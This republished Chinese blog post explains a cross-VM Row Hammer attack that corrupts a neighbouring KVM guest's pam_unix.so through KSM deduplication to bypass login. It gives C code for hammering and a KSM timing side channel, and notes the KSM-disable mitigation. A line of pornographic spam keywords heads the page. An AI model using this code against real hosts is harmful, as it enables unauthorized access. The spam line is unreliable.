日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

看我如何跨虚拟机实现Row Hammer攻击和权限提升

發布時間:2025/3/19 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 看我如何跨虚拟机实现Row Hammer攻击和权限提升 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

row-hammer是一種能在物理層面上造成RAM位翻轉的硬件漏洞。Mark?Seaborn 和Thomas Dullien 兩人首次發現可以利用Row-hammer漏洞來獲取內核權限。Kaveh Razavi等人通過利用操作系統的“內存重復刪除”特性能夠有效控制比特位翻轉,他們將Row-hammer漏洞利用推向了一個新的臺階。如果他們知道私密文件的內容,那么他們可以利用比特翻轉來加載私密文件(比如authorized_keys),并通過削弱authorized_keys文件中的RSA模塊,他們能夠生成相應的私鑰并在共同托管的受害者VM上進行身份驗證。

在這篇文章中,我們的目的是展示不同的攻擊情形。在本文我們破壞了正在運行的程序狀態,而不是破壞內存加載的文件。libpam是一個很容易遭受攻擊的目標,因為它再類unix系統上提供身份驗證機制。通過在攻擊者的VM中運行row-hammer攻擊實例,我們能夠通過破壞pam_unix.so模塊狀態在鄰近的受害者VM上成功進行身份驗證。在下文中,我們假設兩臺相鄰的虛擬機運行Linux(攻擊者VM +受害者VM),而且都托管在KVM虛擬機管理程序上,具體如下圖所示:

Row-hammer

DRAM芯片由周期性刷新的單元行組成,當CPU對存儲器的一個字節請求讀/寫操作時,數據首先被傳送到行緩沖器。在讀/寫請求執行之后,行緩沖器的內容會被復制回原始行,頻繁的讀寫操作(放電和再充電)可能導致相鄰行單元上出現較高的放電率從而引發錯誤。如果在丟失其電荷之前不刷新它們,則會在相鄰的存儲器行中引起位翻轉。

以下代碼足以產生位翻轉,該代碼從兩個不同的存儲器行交替讀取數據。這種操作是必需的,否則我們只能從行緩沖區讀取數據,并且將無法重新激活一行數據,而且還需要使用cflush指令以避免從CPU的緩存中讀取數據。Mark Seaborn和Thomas Dullien注意到,如果我們“侵略”其相鄰行的數據(行k-1和行k + 1),那么row-hammer效應在受害者行k上將會被放大,具體如下圖所示:

CHANNELS, RANKS, BANKS AND ADDRESS MAPPING

在包含2個channel的電腦配置中,最多可以插入兩個內存模塊。一個存儲器模塊由該模塊兩側的存儲器芯片組成,而且一個存儲器芯片組成一個存儲體,一個存儲體代表一個存儲單元矩陣。下面以我的電腦為例來說明,我的電腦配備了8 GB RAM,具體參數如下所示:

  • 2個channel。
  • 每個channel包含1個內存模塊。
  • 每個內存模塊包含2個rank。
  • 每個rank包含8個內存芯片。
  • 每個芯片包含8個bank。
  • 每個bank代表2^15行x 2^10列x8 bits。

因此,可用的RAM大小計算如下:

  • 2?modules?*?2?ranks?*?2^3?chips?*?2^3?banks?*?2^15?rows?*?2^10?columns?*?1?byte?=?8?GB?
  • 當CPU訪問一個字節內存時,內存控制器負責執行該讀請求。Mark Seaborn已經確定了英特爾Sandy Bridge CPU的物理地址映射機制。該映射與下面給出的內存配置相匹配:

    • 位0-5:字節的低6位用于索引行。
    • 位6:用于選擇channel。
    • 位7-13:字節的高7位用于索引列。
    • 位14-16:((addr>>14)&7)^((addr>>18)&7)用于選擇bank。
    • 位17:用于選擇rank。
    • 位18-33:用于選擇行。

    正如這篇文章所述,即使CPU請求單個字節,內存控制器也不會尋址芯片并返回8個字節,CPU會使用地址的3 LSB位來選擇正確的位。在這篇文章的其余部分,我們將使用上文提供的物理映射機制。

    行選擇

    Row-hammer需要選擇屬于同一個bank的行數據,如果我們無法將虛擬地址轉換為物理地址,那么就無法瀏覽行數據。假如我們已經知道了底層的物理地址映射,那么怎么可以獲取一對映射到同一個bank而不同行的地址呢?實際上,從VM的角度來看,物理地址只是QEMU虛擬地址空間中的偏移量,因此為了達到從VM進行“攻擊”的目的,我們只要獲取Transparent Huge Pages (THP)就可以了。

    THP是一個Linux功能,后臺運行的內核線程會嘗試分配2 MB的巨大頁面。如果我們申請分配一個2 MB大小的緩沖區,那么客戶端的內核線程將返回給我們一個THP。主機中的QEMU虛擬內存也是如此,在一段時間后也將被THP替代。正是因為有了THP,我們才可以獲得2 MB的連續物理內存,并且一個THP包含了很多行數據,因此我們可以瀏覽行數據了。

    根據先前提出的物理地址映射,由于行數據以MSB位(位18-33)尋址,那么一個THP包含了8*(2*2^20/2^18)行數據。但是,給定行中的地址是屬于不同的channels, banks 以及ranks的。

    從VM進行Row-hammer攻擊

    在攻擊者VM中,我們嘗試分配一個THP緩沖區,對于大小為2 MB的每個內存塊,我們通過讀取頁面映射文件來檢查它是否包含在大頁面中。然后,對于THP頁面中的每兩行(r,r+2),我們通過改變channel位和rank位來”敲擊”每對地址。但是請注意,物理地址映射中的排列方案使得選擇屬于同一個bank的地址對具有以下要求:

    令( r_i,b_i )表示行i的地址中標識行和存儲體的3個LSB位。對于固定channel和rank,我們從行i開始依次“敲擊”行j(j=i+2)中滿足以下條件

  • >?r_i^b_i=r_j^b_j?
  • 的地址開始。

    對于給定的bank b_i,在8個給定的bank b_j中只有三個滿足上述條件,具體如下圖所示:

    以下是我們優化后的row-hammer代碼:

  • static?int?
  • hammer_pages(struct?ctx?*ctx,?uint8_t?*aggressor_row_prev,?uint8_t?*victim_row,?
  • ?????????????uint8_t?*aggressor_row_next,?struct?result?*res)?
  • {?
  • ????uintptr_t?aggressor_row_1?=?(uintptr_t)(aggressor_row_prev);?
  • ????uintptr_t?aggressor_row_2?=?(uintptr_t)(aggressor_row_next);?
  • ??
  • ????uintptr_t?aggressor_ch1,?aggressor_ch2?,?aggressor_rk1,?aggressor_rk2;?
  • ????uintptr_t?aggressors[4],?aggressor;?
  • ??
  • ????uint8_t?*victim;?
  • ??
  • ????uintptr_t?rank,?channel,?bank1,?bank2;?
  • ??
  • ????int?i,?p,?offset,?ret?=?-1;?
  • ??
  • ????/*?Loop?over?every?channel?*/?
  • ????for?(channel?=?0;?channel?<?ctx->channels;?channel++)?{?
  • ????????aggressor_ch1?=?aggressor_row_1?|?(channel?<<?ctx->channel_bit);?
  • ????????aggressor_ch2?=?aggressor_row_2?|?(channel?<<?ctx->channel_bit);?
  • ??
  • ????????/*?Loop?over?every?rank?*/?
  • ????????for?(rank?=?0;?rank?<?ctx->ranks;?rank++)?{?
  • ????????????aggressor_rk1?=?aggressor_ch1?|?(rank?<<?ctx->rank_bit);?
  • ????????????aggressor_rk2?=?aggressor_ch2?|?(rank?<<?ctx->rank_bit);?
  • ??
  • ????????????/*?Loop?over?every?bank?*/?
  • ????????????for?(bank1?=?0;?bank1?<?ctx->banks;?bank1++)?{?
  • ????????????????aggressors[0]?=?aggressor_rk1?|?(bank1?<<?ctx->bank_bit);?
  • ????????????????i?=?1;?
  • ????????????????/*?Looking?for?the?3?possible?matching?banks?*/?
  • ????????????????for?(bank2?=?0;?bank2?<?ctx->banks;?bank2++)?{?
  • ????????????????????aggressor?=?aggressor_rk2?|?(bank2?<<?ctx->bank_bit);?
  • ????????????????????if?((((aggressors[0]?^?aggressor)?>>?(ctx->bank_bit?+?1))?&?3)?!=?0)?
  • ????????????????????????aggressors[i++]?=?aggressor;?
  • ????????????????????if?(i?==?4)?break;?
  • ????????????????}?
  • ??
  • ????????????????/*?Ensure?victim?is?all?set?to?bdir?*/?
  • ????????????????for?(p?=?0;?p?<?NB_PAGES(ctx);?p++)?{?
  • ????????????????????victim?=?victim_row?+?(ctx->page_size?*?p);?
  • ????????????????????memset(victim?+?RANDOM_SIZE,?ctx->bdir,?ctx->page_size?-?RANDOM_SIZE);?
  • ????????????????}?
  • ??
  • ????????????????hammer_byte(aggressors);?
  • ??
  • ????????????????for?(p?=?0;?p?<?NB_PAGES(ctx);?p++)?{?
  • ????????????????????victim?=?victim_row?+?(ctx->page_size?*?p);?
  • ??
  • ????????????????????for?(offset?=?RANDOM_SIZE;?offset?<?ctx->page_size;?offset++)?{?
  • ????????????????????????if?(victim[offset]?!=?ctx->bdir)?{?
  • ????????????????????????????if?(ctx->bdir)?
  • ????????????????????????????????victim[offset]?=?~victim[offset];?
  • ????????????????????????????ctx->flipmap[offset]?|=?victim[offset];?
  • ????????????????????????????ncurses_flip(ctx,?offset);?
  • ????????????????????????????if?((ret?=?check_offset(ctx,?offset,?victim[offset]))?!=?-1)?{?
  • ????????????????????????????????ncurses_fini(ctx);?
  • ????????????????????????????????printf("[+]?Found?target?offset\n");?
  • ????????????????????????????????res->victimvictim?=?victim;?
  • ????????????????????????????????for?(i?=?0;?i?<?4;?i++)?
  • ????????????????????????????????????res->aggressors[i]?=?aggressors[i];?
  • ????????????????????????????????return?ret;?
  • ????????????????????????????}?
  • ????????????????????????}?
  • ????????????????????}?
  • ????????????????}?
  • ????????????}?
  • ????????}?
  • ????}?
  • ????return?ret;?
  • }?
  • 關于Row-hammer最后一件有趣的事情是:如果我們針對受害者機器中的行數據進行了位翻轉,那么通過重新“敲擊”相鄰行再現位翻轉的可能性就很大。

    Memory de-duplication

    現在我們知道如何“敲擊”,下面我將介紹如何依靠操作系統內存重復數據刪除實現在內存中執行位翻轉操作。內存重復數據刪除在虛擬機環境中尤其有用,因為它顯著減少了內存占用。在Linux上,內存重復數據刪除由KSM來實現。KSM會定期掃描內存并合并匿名頁面(具有MADV_MERGEABLE標記的頁面)。

    假設我們知道相鄰VM中文件的內容,以下是通過利用Row-hammer漏洞和內存重復數據刪除功能來修改文件中隨機位的主要步驟:

  • 從攻擊者虛擬機“敲擊”內存。
  • 加載內存頁面中容易受到位翻轉攻擊的目標文件。
  • 加載受害者虛擬機中的目標文件。
  • 等待KSM合并這兩個頁面。
  • 再次“敲擊”。
  • 受害者虛擬機中的文件應該已被修改。
  • 如Razavi等人在其論文所述,THP和KSM可能對Row-hammer造成意想不到的影響。因為THP會合并正常的4 KB頁面以形成龐大的頁面(2 MB),而KSM會合并具有相同內容的頁面。這可能導致KSM打破巨大頁面的情況。為了避免這種情況,我們用8個隨機字節填充每個4 KB頁面的頂部。

    處理Libpam程序

    給定一個程序P,我們怎么能在程序代碼中找到可以改變P輸出結果的所有可翻轉的bit位呢?對程序P執行逆向分析看似是個不錯的想法,可逆向工程太耗費時間了。在本文中,我們使用radare2開發了一個PoC(flip -flop.py),該PoC能夠自動捕獲程序P的可翻轉bit位。該PoC的原理是:我們翻轉一些目標函數的每一位,并運行所需的功能,然后檢查翻轉的位是否影響目標函數的預期結果。我們在pam_unix.so模塊(23e650547c395da69a953f0b896fe0a8)的兩個函數上運行了PoC,如下圖所示:

    • pam_sm_authenticate [0x3440]:執行驗證用戶的任務。
    • _unix_blankpasswd [0x6130]:檢查用戶是否沒有空白密碼。

    我們總共發現可17個可以翻轉的bit位,利用這些bit位我們可以使用空白或錯誤的密碼執行身份驗證操作。

    值得注意的是,腳本無法從某些崩潰中恢復。原因是由于r2pipe沒有提供任何處理錯誤的機制,那么當有一些致命的崩潰發生,r2pipe是無法恢復會話的。

    開始攻擊

    我們的目標是在相鄰VM中的pam_unix.so模塊上運行一個Row-hammer攻擊實例。我們首先回顧了繞過受害者VM身份驗證機制的主要步驟:

  • 分配可用的物理內存。
  • 在內存頁面添加一些填充數據,以防止KSM破壞THP頁面。我們在每4 KB頁面的頂部填充8個隨機字節,其余的填充'\xff'以檢查方向1-> 0的位翻轉(或使用'\0'來檢查0->1的位翻轉方向)。
  • 我們在每個TPH頁面中”敲擊”每對被“入侵”的行,并檢查我們是否在受害者行中進行了位翻轉。
  • 如果位觸發器與表1的偏移量匹配,則將pam_unix.so模塊加載到受害者頁面中。
  • 通過嘗試登錄來加載受影響虛擬機中的pam_unix.so模塊。
  • 等待KSM合并頁面。
  • 再次“敲擊”已經產生相關翻轉的bit位,此時受害者VM機器中,內存中的pam_unix.so已被更改。
  • 操作完畢。
  • 完整的exploit(pwnpam.c)可以在這里找到 。

    請注意,漏洞利用不是100%可靠,如果我們找不到可用的位翻轉,那么實驗將不會成功。

    更進一步

    漏洞利用并不完全自動,因為在某些時候,我們需要與漏洞利用進行交互,以確保模塊已經加載到受害者VM內存中并且其內容已經與攻擊者虛擬機中加載的內容合并在一起,這時執行bit位翻轉才會成功。

    為了能夠自動化的進行漏洞利用,可以通過利用KSM中的側信道定時攻擊來改善攻擊,該功能使我們能夠檢測兩個頁面是否共享。以下代碼是文中描述算法的實現,程序首先分配N個緩沖區(每個4096 KB),并用隨機數據填充它,代碼如下所示:

  • #include?<stdio.h>?
  • #include?<string.h>?
  • #include?<stdlib.h>?
  • #include?<unistd.h>?
  • #include?<time.h>?
  • #include?<inttypes.h>?
  • #include?<sys/mman.h>?
  • #include?<sys/syscall.h>?
  • #include?<sys/types.h>?
  • ??
  • #define?PAGE_NB?256?
  • ??
  • /*?from?https://github.com/felixwilhelm/mario_baslr?*/?
  • uint64_t?rdtsc()?{?
  • ????uint32_t?high,?low;?
  • ????asm?volatile(".att_syntax\n\t"?
  • ????????"RDTSCP\n\t"?
  • ????????:?"=a"(low),?"=d"(high)::);?
  • ????return?((uint64_t)high?<<?32)?|?low;?
  • }?
  • ??
  • int?main()?
  • {?
  • ????void?*buffer,?*half;?
  • ????int?page_size?=?sysconf(_SC_PAGESIZE);?
  • ????size_t?size?=??page_size?*?PAGE_NB;?
  • ??
  • ????buffer?=?mmap(NULL,?size,?PROT_READ?|?PROT_WRITE,?MAP_PRIVATE?|?MAP_ANONYMOUS,?-1,?0);?
  • ????madvise(buffer,?size,?MADV_MERGEABLE);?
  • ??
  • ????srand(time(NULL));?
  • ??
  • ????size_t?i;?
  • ????for?(i?=?0;?i?<?PAGE_NB;?i++)?
  • ????????*(uint32_t?*)(buffer?+?(page_size?*?i))?=?rand();?
  • ??
  • ????half?=?buffer?+?(page_size?*?(PAGE_NB?/?2));?
  • ????for?(i?=?0;?i?<?(PAGE_NB?/?2);?i?+=?2)?
  • ????????memcpy(buffer?+?(page_size?*?i),?half?+?(page_size?*?i),?page_size);?
  • ??
  • ????sleep(10);?
  • ??
  • ????uint64_t?start,?end;?
  • ????for?(i?=?0;?i?<?(PAGE_NB?/?2);?i++)?{?
  • ????????start?=?rdtsc();?
  • ????????*(uint8_t?*)(buffer?+?(page_size?*?i))?=?'\xff';?
  • ????????end?=?rdtsc();?
  • ????????printf("[+]?page?modification?took?%"?PRIu64?"?cycles\n",?end?-?start);?
  • ????}?
  • ??
  • ????return?0;?
  • }?
  • 該程序修改緩沖區前半部分中每個元素的單個字節,并測量寫入操作時間。

    根據程序輸出,我們可以根據執行寫入操作所需的CPU周期數,清楚地區分復制頁面和非共享頁面。

    請注意,我們還可以依靠側信道來檢測受害者VM上運行的libpam版本。

    在我們的漏洞中,我們假設攻擊者VM是在受害者VM之前啟動的。此條件可以確保KSM總是通過攻擊者控制的物理頁面返回合并的頁面。正如Kaveh Razavi文章所述,這種情況可以輕松實現,但該解決方案需要更深入地了解KSM的內部原理:KSM通過維護兩個紅黑樹:穩定的樹和不穩定的樹來管理內存重復數據刪除,前者跟蹤共享頁面,而后者存儲合并候選頁面。KSM會定期掃描頁面,并嘗試從穩定樹中首先合并它們。如果失敗,它會嘗試在不穩定的樹中找到一個匹配項。如果它再次失敗,它將候選頁面存儲在不穩定的樹中,并繼續下一頁。

    在我們的例子中,從不穩定樹執行合并,KSM會選擇首先注冊合并的頁面。 換句話說,首先啟動的VM會贏得合并。為了放寬這個條件,我們可以嘗試從穩定樹合并頁面。 我們所要做的就是在攻擊者VM內存中加載兩次pam_unix.so模塊,并等到KSM合并這些副本。之后,當pam_unix.so模塊加載到受害者虛擬機時,其內容將與已存在于穩定樹中并由攻擊者控制的副本合并。

    結論

    盡管Row-hammer攻擊是強大和有效的,但它卻不再是神話。在這篇博客文章中,我們試圖提供必要的工具來實現Row-hammer攻擊,而且我們提供了一個漏洞,并允許人們在共同托管的虛擬機上獲得訪問權限或提升其權限。

    最后注意一下,禁用KSM就可以阻止我們的利用了

  • echo?0?>?/sys/kernel/mm/ksm/run?

  • 原文發布時間為:2017-11-06

    本文作者:blueSky

    本文來自云棲社區合作伙伴51CTO,了解相關信息可以關注51CTO。


    總結

    以上是生活随笔為你收集整理的看我如何跨虚拟机实现Row Hammer攻击和权限提升的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。